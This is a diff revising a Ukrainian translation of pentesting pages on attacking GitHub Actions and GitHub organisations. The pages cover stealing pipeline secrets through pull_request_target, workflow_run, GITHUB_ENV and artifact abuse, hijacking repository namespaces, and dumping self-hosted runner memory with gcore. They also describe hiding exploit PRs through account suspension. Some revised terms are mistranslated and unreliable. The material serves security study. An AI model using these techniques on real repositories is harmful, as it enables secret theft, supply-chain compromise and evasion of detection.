@@ -194,7 +194,7 @@ abusing-github-actions/ У разі, якщо середовище може бути **доступним з усіх гілок**, воно **не захищене** і ви можете легко отримати доступ до секретів всередині середовища. Зверніть увагу, що ви можете знайти репозиторії, де **всі гілки захищені** (вказуючи їхні назви або використовуючи `*`), у цьому сценарії, **знайдіть гілку, в яку ви можете надсилати код**, і ви можете **екстрагувати** секрети, створивши новий github action (або модифікувавши один). -Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на надсилання над самим собою. **Захист гілки дозволяє надсилання до нової гілки, тому github action буде спрацьовувати**. +Зверніть увагу, що ви можете знайти крайній випадок, коли **всі гілки захищені** (через шаблон `*`), вказано **хто може надсилати код до гілок** (_ви можете вказати це в захисті гілки_) і **ваш користувач не має дозволу**. Ви все ще можете запустити власний github action, оскільки ви можете створити гілку і використовувати тригер на пуш для неї самої. **Захист гілки дозволяє пуш до нової гілки, тому github action буде спрацьовувати**. ```yaml push: # Run it when a push is made to a branch branches: @@ -210,7 +210,7 @@ branches: - Надати **більше прав всій організації** - Створити **вебхуки** для ексфільтрації інформації - Запросити **зовнішніх співпрацівників** -- **Видалити** **вебхуки**, які використовуються **SIEM** +- **Видалити** **вебхуки**, що використовуються **SIEM** - Створити/змінити **Github Action** з **бекдором** - Знайти **вразливий Github Action для ін'єкції команд** через модифікацію **значення секрету** @@ -218,7 +218,7 @@ branches: У Github можливо **створити PR до репозиторію з форка**. Навіть якщо PR **не буде прийнято**, **ідентифікатор коміту** всередині оригінального репозиторію буде створено для форкованої версії коду. Тому, зловмисник **може закріпити використання конкретного коміту з, здавалося б, легітимного репозиторію, який не був створений власником репозиторію**. -Як [**цей**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +Як [**це**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index df070e613..e6e71ed56 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -9,10 +9,10 @@ - **резюме всіх впливів** атаки, якщо зловмисник зможе отримати доступ до Github Action - Різні способи **отримати доступ до дії**: - Маючи **дозволи** на створення дії -- Зловживання **тригерами, пов'язаними з pull request** +- Зловживання тригерами, пов'язаними з **pull request** - Зловживання **іншими зовнішніми техніками доступу** -- **Півотування** з уже скомпрометованого репозиторію -- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (щоб викликати згадані впливи) +- **Півотинг** з уже скомпрометованого репозиторію +- Нарешті, розділ про **техніки пост-експлуатації для зловживання дією зсередини** (оскільки згадані впливи) ## Резюме впливів @@ -20,10 +20,10 @@ Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви можете: -- **Викрасти секрети**, змонтовані до конвеєра, та **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP. +- **Викрасти секрети**, змонтовані в конвеєрі, та **зловживати привілеями конвеєра** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP. - **Скомпрометувати розгортання** та інші **артефакти**. - Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання. -- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотування до інших систем. +- **Виконувати код у кастомних робітниках** для зловживання обчислювальною потужністю та півотингу до інших систем. - **Перезаписати код репозиторію**, залежно від дозволів, пов'язаних з `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -32,10 +32,10 @@
-Цей токен є тим самим, який буде використовувати **Github Application**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Цей токен є тим самим, що і **Github Application буде використовувати**, тому він може отримати доступ до тих самих кінцевих точок: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github повинен випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`. +> Github має випустити [**потік**](https://github.com/github/roadmap/issues/74), який **дозволяє крос-репозиторний** доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи `GITHUB_TOKEN`. Ви можете побачити можливі **дозволи** цього токена за адресою: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) @@ -134,7 +134,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -Можливо перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій: +Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **перевіряючи журнали** дій:
@@ -143,7 +143,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} > [!NOTE] > Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до **створення нового репозиторію в організації** або є **права на запис у репозиторії**. > -> Якщо ви в цій ситуації, ви можете просто перевірити [техніки постексплуатації](./#post-exploitation-techniques-from-inside-an-action). +> Якщо ви в цьому сценарії, ви можете просто перевірити [техніки постексплуатації](./#post-exploitation-techniques-from-inside-an-action). ### Виконання з створення репозиторію @@ -167,14 +167,14 @@ branches: ``` --- -## Forked Execution +## Витягнуте виконання > [!NOTE] > Існують різні тригери, які можуть дозволити зловмиснику **виконати Github Action з іншого репозиторію**. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати. ### `pull_request` -Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це **перше** співробітництво, деякий **керівник** повинен **схвалити** **виконання** робочого процесу: +Тригер робочого процесу **`pull_request`** буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це **перший раз**, коли ви **співпрацюєте**, деякий **керівник** повинен **схвалити** **виконання** робочого процесу:
@@ -185,12 +185,12 @@ branches: Більше того, за замовчуванням **запобігає запису прав** і **доступу до секретів** цільового репозиторію, як зазначено в [**документації**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю** під час тригера робочого процесу з **форкнутого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з форкнутого репозиторію**. +> За винятком `GITHUB_TOKEN`, **секрети не передаються виконавцю**, коли робочий процес запускається з **вилученого** репозиторію. **`GITHUB_TOKEN` має права лише на читання** у запитах на злиття **з вилучених репозиторіїв**. Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження. > [!CAUTION] -> **Так, якщо зловмисник змінить у PR github action, який буде тригером, його Github Action буде використано, а не той, що з оригінального репозиторію!** +> **Так, якщо зловмисник змінить у PR github action, який буде запущено, його Github Action буде використано, а не той, що з оригінального репозиторію!** Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у `GITHUB_TOKEN`, зловмисник може, наприклад, **завантажити шкідливі артефакти**. @@ -198,7 +198,7 @@ branches: Тригер робочого процесу **`pull_request_target`** має **права на запис** до цільового репозиторію та **доступ до секретів** (і не запитує дозволу). -Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в контексті, наданому PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Зверніть увагу, що тригер робочого процесу **`pull_request_target`** **виконується в базовому контексті** і не в тому, що надається PR (щоб **не виконувати ненадійний код**). Для отримання додаткової інформації про `pull_request_target` [**перевірте документацію**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей [**пост у блозі github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). Це може виглядати так, ніби **виконуваний робочий процес** є тим, що визначено в **базі**, а **не в PR**, тому це **безпечно** використовувати **`pull_request_target`**, але є **кілька випадків, коли це не так**. @@ -209,7 +209,7 @@ branches: Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запустити робочий процес з іншого, коли він `завершено`, `запитано` або `в процесі`. -У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести": +У цьому прикладі робочий процес налаштовано на виконання після завершення окремого "Запустити тести" робочого процесу: ```yaml on: workflow_run: @@ -217,10 +217,10 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +Більше того, відповідно до документації: Робочий процес, розпочатий подією `workflow_run`, може **доступатися до секретів і записувати токени, навіть якщо попередній робочий процес не**. -Цей тип робочого процесу може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\ -Другий полягає в **передачі** артефакту з **недовіреного** коду до **`workflow_run`** робочого процесу та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**. +Такий робочий процес може бути атакований, якщо він **залежить** від **робочого процесу**, який може бути **запущений** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Кілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший з них полягає в тому, що **`workflow_run`** запущений робочий процес завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\ +Другий полягає в **передачі** артефакту з **недовіреного** коду до робочого процесу **`workflow_run`** та використанні вмісту цього артефакту таким чином, що він стає **вразливим до RCE**. ### `workflow_call` @@ -230,18 +230,18 @@ TODO: Перевірити, чи при виконанні з `pull_request` в ## Зловживання виконанням з форку -Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте подивимося, як ці виконання, якщо погано налаштовані, можуть бути зловживані: +Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес github виконатися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані: ### Виконання недовіреного чекауту -У випадку **`pull_request`,** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](./#pull_request). +У випадку **`pull_request`** робочий процес буде виконуватися в **контексті PR** (тому він виконає **код шкідливого PR**), але хтось повинен **спочатку його авторизувати**, і він буде виконуватися з деякими [обмеженнями](./#pull_request). -У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконано, тому **атакуючий не може контролювати виконуваний код**. +У випадку робочого процесу, що використовує **`pull_request_target` або `workflow_run`**, який залежить від робочого процесу, що може бути запущений з **`pull_request_target` або `pull_request`**, код з оригінального репозиторію буде виконуватися, тому **атакуючий не може контролювати виконуваний код**. > [!CAUTION] -> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона буде використовувати код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR): +> Однак, якщо **дія** має **явний чекаут PR**, який **отримає код з PR** (а не з бази), вона використовуватиме код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR): -
# INSECURE. Provided as an example only.
+
# НЕБЕЗПЕЧНО. Наведено лише як приклад.
 on:
 pull_request_target
 
@@ -266,15 +266,15 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Thank you!
+Дякую!
 
-Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та посилання на **пакети контролюються автором PR**. +Потенційно **недовірений код виконується під час `npm install` або `npm build`**, оскільки скрипти збірки та згадані **пакети контролюються автором PR**. > [!WARNING] -> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування завдань для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR). +> Github dork для пошуку вразливих дій: `event.pull_request pull_request_target extension:yml`, однак існують різні способи налаштування робочих процесів для безпечного виконання, навіть якщо дія налаштована небезпечно (наприклад, використовуючи умовні оператори про те, хто є актором, що генерує PR). -### Впровадження скриптів у контекст +### Впровадження скриптів у контексті Зверніть увагу, що є певні [**контексти github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** **користувачем**, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **випадкового виконання коду:** @@ -284,21 +284,21 @@ gh-actions-context-script-injections.md ### **Впровадження скриптів GITHUB_ENV** -З документів: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**. +З документації: Ви можете зробити **змінну середовища доступною для будь-яких наступних кроків** у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища **`GITHUB_ENV`**. -Якщо атакуючий зможе **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконати код у наступних кроках, такі як **LD_PRELOAD** або **NODE_OPTIONS**. +Якщо атакуючий може **впровадити будь-яке значення** в цю **змінну** середовища, він може впровадити змінні середовища, які можуть виконувати код у наступних кроках, таких як **LD_PRELOAD** або **NODE_OPTIONS**. -Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) та [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його: +Наприклад ([**це**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) і [**це**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища **`GITHUB_ENV`**. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:
-### Вразливі сторонні дії Github +### Вразливі дії третьої сторони Github #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) Як згадано в [**цьому блозі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ця дія Github дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв. -Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог і може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту. +Проблема в тому, що якщо параметр **`path`** не встановлений, артефакт витягується в поточний каталог, і він може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту. Приклад вразливого робочого процесу: ```yaml @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -Це можна атакувати за допомогою цього робочого процесу: +Це може бути атаковано за допомогою цього робочого процесу: ```yaml name: "some workflow" on: pull_request @@ -344,19 +344,19 @@ path: ./script.py ### Викрадення видаленого репозиторію простору імен -Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як той, що був видалений. +Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав **менше 100 зірок до зміни імені**, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити **репозиторій з таким же ім'ям**, як і той, що був видалений. > [!CAUTION] > Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію. -Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Тут ви маєте більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Якщо інші репозиторії використовували **залежності з репозиторіїв цього користувача**, зловмисник зможе їх викрасти. Ось більш детальне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Пивотинг репозиторіїв +## Поворот репозиторію > [!NOTE] -> У цьому розділі ми поговоримо про техніки, які дозволять **пивотити з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ). +> У цьому розділі ми поговоримо про техніки, які дозволять **поворот з одного репозиторію в інший**, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ). ### Отруєння кешу @@ -421,8 +421,6 @@ secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` - -
Отримати зворотний шелл з секретами @@ -464,13 +462,13 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -### Зловживання самостійно розгорнутими виконавцями +### Зловживання самостійно хостованими виконавцями Спосіб знайти, які **Github Actions виконуються в не-Github інфраструктурі**, - це шукати **`runs-on: self-hosted`** в конфігураційному yaml файлі Github Action. -**Самостійно розгорнуті** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **більше ніж одна дія може виконуватися одночасно** і зловмисна може **вкрасти секрети** іншої. +**Самостійно хостовані** виконавці можуть мати доступ до **додаткової чутливої інформації**, до інших **мережевих систем** (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, **більше ніж одна дія може виконуватися одночасно** і зловмисна може **вкрасти секрети** іншої. -У самостійно розгорнуті виконавці також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять: +У самостійно хостованих виконавцях також можливо отримати **секрети з процесу \_Runner.Listener**\_\*\* який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" @@ -530,11 +528,11 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Чутлива інформація в журналах Github Actions -Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштувати спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштовано спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Приховування своїх слідів -(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що створюється, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їхні **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR) +(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їхні **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR) Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 0ad530b51..ea229dc87 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Впровадження скриптів контексту +# Gh Actions - Впровадження скриптів у контексті diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 0c9f520b0..89e881db2 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -30,7 +30,7 @@ 3. Ви робите свій “upstream” репозиторій публічним і зберігаєте свій форк приватним. > [!CAUTION] -> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка та публікацією публічної версії. +> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка і публікацією публічної версії. ## Як виявити коміти з видалених/прихованих форків @@ -38,7 +38,7 @@ ### Прямий доступ до коміту -Якщо відоме значення ID коміту (sha-1), його можна отримати за адресою `https://github.com///commit/` +Якщо відомий ідентифікатор коміту (sha-1), його можна отримати за адресою `https://github.com///commit/` ### Брутфорсинг коротких SHA-1 значень diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index d2ded16a4..b814ee532 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -51,7 +51,7 @@ За замовчуванням створюються ролі репозиторіїв: -- **Читання**: Рекомендується для **некодових учасників**, які хочуть переглядати або обговорювати ваш проект. +- **Читання**: Рекомендується для **не-кодових учасників**, які хочуть переглядати або обговорювати ваш проект. - **Тріаж**: Рекомендується для **учасників, які повинні проактивно управляти проблемами та запитами на злиття** без доступу на запис. - **Запис**: Рекомендується для учасників, які **активно вносять зміни до вашого проекту**. - **Управління**: Рекомендується для **менеджерів проектів, які повинні управляти репозиторієм** без доступу до чутливих або руйнівних дій. @@ -59,15 +59,15 @@ Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Ви також можете **створити свої власні ролі** у _https://github.com/organizations/\/settings/roles_ +Ви також можете **створити свої власні ролі** в _https://github.com/organizations/\/settings/roles_ ### Команди -Ви можете **переглянути команди, створені в організації** у _https://github.com/orgs/\/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди. +Ви можете **переглянути команди, створені в організації** в _https://github.com/orgs/\/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди. ### Користувачі -Користувачі організації можуть бути **перераховані** у _https://github.com/orgs/\/people._ +Користувачі організації можуть бути **перераховані** в _https://github.com/orgs/\/people._ У інформації про кожного користувача ви можете побачити **команди, членом яких є користувач**, і **репозиторії, до яких має доступ користувач**. @@ -87,44 +87,44 @@ Github пропонує різні способи аутентифікації Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправлення комітів без підпису**. Дізнайтеся більше про [пильний режим тут](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Токени особистого доступу** +### **Персональні токени доступу** -Ви можете згенерувати токен особистого доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні токена особистого доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні персонального токена доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth додатки -Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальним прикладом цієї функціональності є **кнопка входу з github**, яку ви можете знайти на деяких платформах. +Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальний приклад цієї функціональності - це **кнопка входу з github**, яку ви можете знайти на деяких платформах. -- Ви можете **створити** свої власні **Oauth додатки** у [https://github.com/settings/developers](https://github.com/settings/developers) -- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** у [https://github.com/settings/applications](https://github.com/settings/applications) -- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** у [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Ви можете побачити доступ третіх сторін до додатків в **організації** у _https://github.com/organizations/\/settings/oauth_application_policy_ +- Ви можете **створити** свої власні **Oauth додатки** в [https://github.com/settings/developers](https://github.com/settings/developers) +- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications) +- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Ви можете побачити доступ третіх сторін додатків в **організації** в _https://github.com/organizations/\/settings/oauth_application_policy_ Деякі **рекомендації з безпеки**: - **OAuth App** завжди має **діяти як аутентифікований користувач GitHub у всьому GitHub** (наприклад, при наданні сповіщень користувачеві) і з доступом лише до вказаних обсягів. - OAuth App може використовуватися як постачальник ідентичності, активуючи "Увійти з GitHub" для аутентифікованого користувача. -- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_** репозиторіях аутентифікованого користувача. +- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_**\*\* репозиторіях аутентифікованого користувача\*\*. - **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди або компанії**. OAuth Apps аутентифікуються як **один користувач**, тому якщо одна особа створює OAuth App для використання компанією, а потім залишає компанію, ніхто інший не матиме доступу до нього. - **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Додатки Github -Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавання вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ. +Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавати вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ. - Щоб встановити GitHub App, ви повинні бути **власником організації або мати адміністративні дозволи** в репозиторії. - GitHub App має **підключатися до особистого облікового запису або організації**. -- Ви можете створити свій власний додаток GitHub у [https://github.com/settings/apps](https://github.com/settings/apps) -- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** у [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Ви можете створити свій власний додаток GitHub в [https://github.com/settings/apps](https://github.com/settings/apps) +- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) - Це **API кінцеві точки для додатків GitHub** 